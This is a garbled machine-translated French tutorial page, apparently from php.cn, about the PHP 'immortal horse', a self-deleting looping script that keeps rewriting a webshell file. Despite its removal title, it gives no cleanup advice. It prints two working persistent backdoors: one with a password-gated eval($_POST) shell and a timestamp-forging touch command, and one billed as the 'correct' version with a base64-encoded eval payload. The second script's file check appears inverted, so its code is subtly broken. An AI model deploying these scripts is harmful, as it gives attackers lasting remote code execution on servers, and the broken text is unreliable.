Maison > développement back-end > Problème PHP > Comment supprimer le cheval immortel php

Comment supprimer le cheval immortel php

(*-*)浩
Libérer: 2023-02-26 06:20:01
original
4667 Les gens l'ont consulté

Comment supprimer le cheval immortel php

Qu'est-ce qu'un cheval immortel ?

Le cheval de mémoire, en termes simples, est un cheval immortel. Il exécute un programme qui ne se termine jamais et réside dans le processus PHP, s'exécutant indéfiniment.

Processus de génération (Apprentissage recommandé : Tutoriel vidéo PHP)

Immortal Horse.php → Télécharger sur le serveur → Fichier d'exécution du serveur → Serveur local illimité Génération de boucle (une phrase.php)

Le cheval immortel qui circule sur Internet

<?php ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = &#39;2.php&#39;;
$code = &#39;<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>&#39;;while (1){
    file_put_contents($file,$code);
    system(&#39;touch -m -d "2018-12-01 09:10:12" .2.php&#39;);
    usleep(5000);
} 
?>
Copier après la connexion

Le cheval immortel qui circule sur Internet, alors qu'il ne juge pas cela file S'il existe, il me suffit de commenter le shell dans ce fichier pour contourner votre cheval de Troie mémoire.

La posture correcte devrait être comme ceci :

Copy<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = &#39;c.php&#39;;
 $code = base64_decode(&#39;PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+&#39;); while(true) {     if(md5(file_get_contents($file))===md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }?>
Copier après la connexion

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
php
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal